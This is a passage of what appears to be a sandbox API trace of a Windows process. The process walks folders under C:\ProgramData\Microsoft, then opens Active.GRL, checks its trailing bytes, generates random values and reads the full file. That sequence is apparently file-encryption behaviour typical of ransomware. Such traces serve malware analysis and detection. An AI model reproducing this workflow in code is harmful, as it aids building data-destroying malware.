	[0080.009] wcscat (in: _Dest=0x2daebe8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\IdentityCRL\\") returned="C:\\ProgramData\\Microsoft\\IdentityCRL\\"
	[0080.009] wcscat (in: _Dest=0x2daebe8, _Source="INT" | out: _Dest="C:\\ProgramData\\Microsoft\\IdentityCRL\\INT") returned="C:\\ProgramData\\Microsoft\\IdentityCRL\\INT"
	[0092.063] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x56) returned 0x2d77780
	[0092.064] wcscpy (in: _Dest=0x2d77780, _Source="C:\\ProgramData\\Microsoft\\IdentityCRL\\INT" | out: _Dest="C:\\ProgramData\\Microsoft\\IdentityCRL\\INT") returned="C:\\ProgramData\\Microsoft\\IdentityCRL\\INT"
	[0092.064] wcscat (in: _Dest=0x2d77780, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\IdentityCRL\\INT\\") returned="C:\\ProgramData\\Microsoft\\IdentityCRL\\INT\\"
	[0092.064] wcscat (in: _Dest=0x2d77780, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\IdentityCRL\\INT\\*") returned="C:\\ProgramData\\Microsoft\\IdentityCRL\\INT\\*"
	[0092.064] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502f700
	[0092.064] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\IdentityCRL\\INT\\*", lpFindFileData=0x502f700 | out: lpFindFileData=0x502f700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd7b0839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8b18c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b528
	[0092.064] wcscmp (_String1=".", _String2=".") returned 0
	[0092.064] FindNextFileW (in: hFindFile=0x477b528, lpFindFileData=0x502f700 | out: lpFindFileData=0x502f700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd7b0839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8b18c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.064] wcscmp (_String1="..", _String2=".") returned 1
	[0092.064] wcscmp (_String1="..", _String2="..") returned 0
	[0092.064] FindNextFileW (in: hFindFile=0x477b528, lpFindFileData=0x502f700 | out: lpFindFileData=0x502f700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x62e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppcrlconfig600.dll", cAlternateFileName="PPCRLC~1.DLL")) returned 1
	[0092.064] wcscmp (_String1="ppcrlconfig600.dll", _String2=".") returned 1
	[0092.064] wcscmp (_String1="ppcrlconfig600.dll", _String2="..") returned 1
	[0092.064] FindNextFileW (in: hFindFile=0x477b528, lpFindFileData=0x502f700 | out: lpFindFileData=0x502f700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x62e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppcrlconfig600.dll", cAlternateFileName="PPCRLC~1.DLL")) returned 0
	[0092.064] FindClose (in: hFindFile=0x477b528 | out: hFindFile=0x477b528) returned 1
	[0092.064] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502f700) returned 1
	[0092.064] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77780) returned 1
	[0092.064] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daebe8) returned 1
	[0092.064] FindNextFileW (in: hFindFile=0x2d879f8, lpFindFileData=0x2e136f0 | out: lpFindFileData=0x2e136f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x46b00d5c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x46b00d5c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="production", cAlternateFileName="PRODUC~1")) returned 1
	[0092.065] wcscmp (_String1="production", _String2=".") returned 1
	[0092.065] wcscmp (_String1="production", _String2="..") returned 1
	[0092.065] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4733ce0
	[0092.065] wcscpy (in: _Dest=0x4733ce0, _Source="C:\\ProgramData\\Microsoft\\IdentityCRL" | out: _Dest="C:\\ProgramData\\Microsoft\\IdentityCRL") returned="C:\\ProgramData\\Microsoft\\IdentityCRL"
	[0092.065] wcscat (in: _Dest=0x4733ce0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\IdentityCRL\\") returned="C:\\ProgramData\\Microsoft\\IdentityCRL\\"
	[0092.065] wcscat (in: _Dest=0x4733ce0, _Source="production" | out: _Dest="C:\\ProgramData\\Microsoft\\IdentityCRL\\production") returned="C:\\ProgramData\\Microsoft\\IdentityCRL\\production"
	[0092.065] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x64) returned 0x47eca40
	[0092.065] wcscpy (in: _Dest=0x47eca40, _Source="C:\\ProgramData\\Microsoft\\IdentityCRL\\production" | out: _Dest="C:\\ProgramData\\Microsoft\\IdentityCRL\\production") returned="C:\\ProgramData\\Microsoft\\IdentityCRL\\production"
	[0092.065] wcscat (in: _Dest=0x47eca40, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\IdentityCRL\\production\\") returned="C:\\ProgramData\\Microsoft\\IdentityCRL\\production\\"
	[0092.065] wcscat (in: _Dest=0x47eca40, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\IdentityCRL\\production\\*") returned="C:\\ProgramData\\Microsoft\\IdentityCRL\\production\\*"
	[0092.065] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502f700
	[0092.065] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\IdentityCRL\\production\\*", lpFindFileData=0x502f700 | out: lpFindFileData=0x502f700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x46b00d5c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x46b00d5c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b2e8
	[0092.065] wcscmp (_String1=".", _String2=".") returned 0
	[0092.065] FindNextFileW (in: hFindFile=0x477b2e8, lpFindFileData=0x502f700 | out: lpFindFileData=0x502f700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x46b00d5c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x46b00d5c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.065] wcscmp (_String1="..", _String2=".") returned 1
	[0092.065] wcscmp (_String1="..", _String2="..") returned 0
	[0092.065] FindNextFileW (in: hFindFile=0x477b2e8, lpFindFileData=0x502f700 | out: lpFindFileData=0x502f700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97ce8d28, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x60e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppcrlconfig600.dll", cAlternateFileName="PPCRLC~1.DLL")) returned 1
	[0092.065] wcscmp (_String1="ppcrlconfig600.dll", _String2=".") returned 1
	[0092.065] wcscmp (_String1="ppcrlconfig600.dll", _String2="..") returned 1
	[0092.065] FindNextFileW (in: hFindFile=0x477b2e8, lpFindFileData=0x502f700 | out: lpFindFileData=0x502f700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb66288f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xbd80b503, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb66288f, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="temp", cAlternateFileName="")) returned 1
	[0092.065] wcscmp (_String1="temp", _String2=".") returned 1
	[0092.065] wcscmp (_String1="temp", _String2="..") returned 1
	[0092.065] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x2d83288
	[0092.065] wcscpy (in: _Dest=0x2d83288, _Source="C:\\ProgramData\\Microsoft\\IdentityCRL\\production" | out: _Dest="C:\\ProgramData\\Microsoft\\IdentityCRL\\production") returned="C:\\ProgramData\\Microsoft\\IdentityCRL\\production"
	[0092.065] wcscat (in: _Dest=0x2d83288, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\IdentityCRL\\production\\") returned="C:\\ProgramData\\Microsoft\\IdentityCRL\\production\\"
	[0092.065] wcscat (in: _Dest=0x2d83288, _Source="temp" | out: _Dest="C:\\ProgramData\\Microsoft\\IdentityCRL\\production\\temp") returned="C:\\ProgramData\\Microsoft\\IdentityCRL\\production\\temp"
	[0092.066] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6e) returned 0x2d83738
	[0092.066] wcscpy (in: _Dest=0x2d83738, _Source="C:\\ProgramData\\Microsoft\\IdentityCRL\\production\\temp" | out: _Dest="C:\\ProgramData\\Microsoft\\IdentityCRL\\production\\temp") returned="C:\\ProgramData\\Microsoft\\IdentityCRL\\production\\temp"
	[0092.066] wcscat (in: _Dest=0x2d83738, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\IdentityCRL\\production\\temp\\") returned="C:\\ProgramData\\Microsoft\\IdentityCRL\\production\\temp\\"
	[0092.066] wcscat (in: _Dest=0x2d83738, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\IdentityCRL\\production\\temp\\*") returned="C:\\ProgramData\\Microsoft\\IdentityCRL\\production\\temp\\*"
	[0092.066] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x5030570
	[0092.066] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\IdentityCRL\\production\\temp\\*", lpFindFileData=0x5030570 | out: lpFindFileData=0x5030570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb66288f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xbd80b503, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb66288f, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477afa8
	[0092.069] wcscmp (_String1=".", _String2=".") returned 0
	[0092.069] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x5030570 | out: lpFindFileData=0x5030570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb66288f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xbd80b503, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb66288f, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.069] wcscmp (_String1="..", _String2=".") returned 1
	[0092.069] wcscmp (_String1="..", _String2="..") returned 0
	[0092.069] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x5030570 | out: lpFindFileData=0x5030570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb66288f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xbd80b503, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb66288f, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0092.069] FindClose (in: hFindFile=0x477afa8 | out: hFindFile=0x477afa8) returned 1
	[0092.069] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5030570) returned 1
	[0092.069] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d83738) returned 1
	[0092.069] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d83288) returned 1
	[0092.069] FindNextFileW (in: hFindFile=0x477b2e8, lpFindFileData=0x502f700 | out: lpFindFileData=0x502f700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb66288f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xbd80b503, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb66288f, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="temp", cAlternateFileName="")) returned 0
	[0092.069] FindClose (in: hFindFile=0x477b2e8 | out: hFindFile=0x477b2e8) returned 1
	[0092.069] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502f700) returned 1
	[0092.069] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47eca40) returned 1
	[0092.069] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4733ce0) returned 1
	[0092.069] FindNextFileW (in: hFindFile=0x2d879f8, lpFindFileData=0x2e136f0 | out: lpFindFileData=0x2e136f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x46b00d5c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x46b00d5c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="production", cAlternateFileName="PRODUC~1")) returned 0
	[0092.069] FindClose (in: hFindFile=0x2d879f8 | out: hFindFile=0x2d879f8) returned 1
	[0092.069] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e136f0) returned 1
	[0092.069] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dac6e0) returned 1
	[0092.069] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85b80) returned 1

Thread:
	id = 304
	os_tid = 0x12fc

	[0076.844] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x46) returned 0x4f48890
	[0076.844] wcscpy (in: _Dest=0x4f48890, _Source="C:\\ProgramData\\Microsoft\\MapData" | out: _Dest="C:\\ProgramData\\Microsoft\\MapData") returned="C:\\ProgramData\\Microsoft\\MapData"
	[0076.844] wcscat (in: _Dest=0x4f48890, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\MapData\\") returned="C:\\ProgramData\\Microsoft\\MapData\\"
	[0076.844] wcscat (in: _Dest=0x4f48890, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\MapData\\*") returned="C:\\ProgramData\\Microsoft\\MapData\\*"
	[0076.844] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e13958
	[0076.844] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\MapData\\*", lpFindFileData=0x2e13958 | out: lpFindFileData=0x2e13958*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd80cc32, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd06144, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d87b78
	[0080.016] wcscmp (_String1=".", _String2=".") returned 0
	[0080.016] FindNextFileW (in: hFindFile=0x2d87b78, lpFindFileData=0x2e13958 | out: lpFindFileData=0x2e13958*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd80cc32, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd06144, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0080.016] wcscmp (_String1="..", _String2=".") returned 1
	[0080.016] wcscmp (_String1="..", _String2="..") returned 0
	[0080.016] FindNextFileW (in: hFindFile=0x2d87b78, lpFindFileData=0x2e13958 | out: lpFindFileData=0x2e13958*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd80cc32, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd06144, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0080.016] FindClose (in: hFindFile=0x2d87b78 | out: hFindFile=0x2d87b78) returned 1
	[0087.645] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e13958) returned 1
	[0087.645] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f48890) returned 1
	[0087.645] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d648f8) returned 1

Thread:
	id = 305
	os_tid = 0x12f8

	[0076.844] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3c) returned 0x2d73d20
	[0076.845] wcscpy (in: _Dest=0x2d73d20, _Source="C:\\ProgramData\\Microsoft\\MF" | out: _Dest="C:\\ProgramData\\Microsoft\\MF") returned="C:\\ProgramData\\Microsoft\\MF"
	[0076.845] wcscat (in: _Dest=0x2d73d20, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\MF\\") returned="C:\\ProgramData\\Microsoft\\MF\\"
	[0076.845] wcscat (in: _Dest=0x2d73d20, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\MF\\*") returned="C:\\ProgramData\\Microsoft\\MF\\*"
	[0076.845] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e13bc0
	[0076.845] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\MF\\*", lpFindFileData=0x2e13bc0 | out: lpFindFileData=0x2e13bc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80d7aa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8b18c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a6dd0
	[0082.118] wcscmp (_String1=".", _String2=".") returned 0
	[0082.119] FindNextFileW (in: hFindFile=0x46a6dd0, lpFindFileData=0x2e13bc0 | out: lpFindFileData=0x2e13bc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80d7aa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8b18c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.119] wcscmp (_String1="..", _String2=".") returned 1
	[0082.119] wcscmp (_String1="..", _String2="..") returned 0
	[0082.119] FindNextFileW (in: hFindFile=0x46a6dd0, lpFindFileData=0x2e13bc0 | out: lpFindFileData=0x2e13bc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Active.GRL", cAlternateFileName="")) returned 1
	[0082.119] wcscmp (_String1="Active.GRL", _String2=".") returned 1
	[0082.119] wcscmp (_String1="Active.GRL", _String2="..") returned 1
	[0082.119] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4e) returned 0x2dab920
	[0082.119] wcscpy (in: _Dest=0x2dab920, _Source="C:\\ProgramData\\Microsoft\\MF" | out: _Dest="C:\\ProgramData\\Microsoft\\MF") returned="C:\\ProgramData\\Microsoft\\MF"
	[0082.119] wcscat (in: _Dest=0x2dab920, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\MF\\") returned="C:\\ProgramData\\Microsoft\\MF\\"
	[0082.119] wcscat (in: _Dest=0x2dab920, _Source="Active.GRL" | out: _Dest="C:\\ProgramData\\Microsoft\\MF\\Active.GRL") returned="C:\\ProgramData\\Microsoft\\MF\\Active.GRL"
	[0090.861] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\MF\\Active.GRL" (normalized: "c:\\programdata\\microsoft\\mf\\active.grl")) returned 0x20
	[0090.861] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\MF\\Active.GRL", dwFileAttributes=0x20) returned 1
	[0090.861] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\MF\\Active.GRL" (normalized: "c:\\programdata\\microsoft\\mf\\active.grl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1540
	[0090.862] GetFileSizeEx (in: hFile=0x1540, lpFileSize=0xd93fb48 | out: lpFileSize=0xd93fb48*=14972) returned 1
	[0090.862] SetFilePointerEx (in: hFile=0x1540, liDistanceToMove=0x3a78, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.862] ReadFile (in: hFile=0x1540, lpBuffer=0xd93facc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xd93fac8, lpOverlapped=0x0 | out: lpBuffer=0xd93facc*, lpNumberOfBytesRead=0xd93fac8*=0x4, lpOverlapped=0x0) returned 1
	[0090.866] SetFilePointerEx (in: hFile=0x1540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.866] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731a60
	[0090.866] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731c68
	[0090.866] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731b78
	[0090.866] NtQuerySystemTime (in: CurrentTime=0xd93faa8 | out: CurrentTime=0xd93faa8*=132251868176033768) returned 0x0
	[0090.866] RtlRandom (in: Seed=0xd93fab4 | out: Seed=0xd93fab4) returned 0x41a25cb4
	[0090.866] RtlRandom (in: Seed=0xd93fab4 | out: Seed=0xd93fab4) returned 0x52357484
	[0090.866] RtlRandom (in: Seed=0xd93fab4 | out: Seed=0xd93fab4) returned 0xb3e3ef5d
	[0090.866] RtlRandom (in: Seed=0xd93fab4 | out: Seed=0xd93fab4) returned 0xf862ff62
	[0090.866] RtlRandom (in: Seed=0xd93fab4 | out: Seed=0xd93fab4) returned 0x165cd6be
	[0090.866] RtlRandom (in: Seed=0xd93fab4 | out: Seed=0xd93fab4) returned 0xf55557b6
	[0090.866] RtlRandom (in: Seed=0xd93fab4 | out: Seed=0xd93fab4) returned 0xf0f0e3c4
	[0090.866] RtlRandom (in: Seed=0xd93fab4 | out: Seed=0xd93fab4) returned 0xcbadf40f
	[0090.866] RtlRandom (in: Seed=0xd93fab4 | out: Seed=0xd93fab4) returned 0xe8fa9a5b
	[0090.866] RtlRandom (in: Seed=0xd93fab4 | out: Seed=0xd93fab4) returned 0xe82fbf4f
	[0090.866] RtlRandom (in: Seed=0xd93fab4 | out: Seed=0xd93fab4) returned 0x5ac0c11
	[0090.866] RtlRandom (in: Seed=0xd93fab4 | out: Seed=0xd93fab4) returned 0x5b414107
	[0090.866] RtlRandom (in: Seed=0xd93fab4 | out: Seed=0xd93fab4) returned 0x2dcc3c83
	[0090.866] RtlRandom (in: Seed=0xd93fab4 | out: Seed=0xd93fab4) returned 0xb427dd33
	[0090.866] RtlRandom (in: Seed=0xd93fab4 | out: Seed=0xd93fab4) returned 0x8e616196
	[0090.866] RtlRandom (in: Seed=0xd93fab4 | out: Seed=0xd93fab4) returned 0x16fc6d63
	[0090.866] RtlRandom (in: Seed=0xd93fab4 | out: Seed=0xd93fab4) returned 0x75599b8d
	[0090.866] RtlRandom (in: Seed=0xd93fab4 | out: Seed=0xd93fab4) returned 0x6b996ef8
	[0090.866] RtlRandom (in: Seed=0xd93fab4 | out: Seed=0xd93fab4) returned 0xecdfb2a4
	[0090.866] RtlRandom (in: Seed=0xd93fab4 | out: Seed=0xd93fab4) returned 0xfc0b2b4c
	[0090.866] RtlRandom (in: Seed=0xd93fab4 | out: Seed=0xd93fab4) returned 0xed509c51
	[0090.866] RtlRandom (in: Seed=0xd93fab4 | out: Seed=0xd93fab4) returned 0xea6fb560
	[0090.866] RtlRandom (in: Seed=0xd93fab4 | out: Seed=0xd93fab4) returned 0x296c660d
	[0090.866] RtlRandom (in: Seed=0xd93fab4 | out: Seed=0xd93fab4) returned 0x382935cd
	[0090.866] RtlRandom (in: Seed=0xd93fab4 | out: Seed=0xd93fab4) returned 0x1b7edd43
	[0090.866] RtlRandom (in: Seed=0xd93fab4 | out: Seed=0xd93fab4) returned 0x5cc70e1b
	[0090.866] RtlRandom (in: Seed=0xd93fab4 | out: Seed=0xd93fab4) returned 0xf0764801
	[0090.866] RtlRandom (in: Seed=0xd93fab4 | out: Seed=0xd93fab4) returned 0xc6934da4
	[0090.866] RtlRandom (in: Seed=0xd93fab4 | out: Seed=0xd93fab4) returned 0xf16bcf2f
	[0090.866] RtlRandom (in: Seed=0xd93fab4 | out: Seed=0xd93fab4) returned 0xd995dc59
	[0090.866] RtlRandom (in: Seed=0xd93fab4 | out: Seed=0xd93fab4) returned 0x5721e073
	[0090.867] RtlRandom (in: Seed=0xd93fab4 | out: Seed=0xd93fab4) returned 0x16f78716
	[0090.875] ReadFile (in: hFile=0x1540, lpBuffer=0x50a4888, nNumberOfBytesToRead=0x3a7c, lpNumberOfBytesRead=0xd93faa4, lpOverlapped=0x0 | out: lpBuffer=0x50a4888*, lpNumberOfBytesRead=0xd93faa4*=0x3a7c, lpOverlapped=0x0) returned 1
	[0090.877] SetFilePointerEx (in: hFile=0x1540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
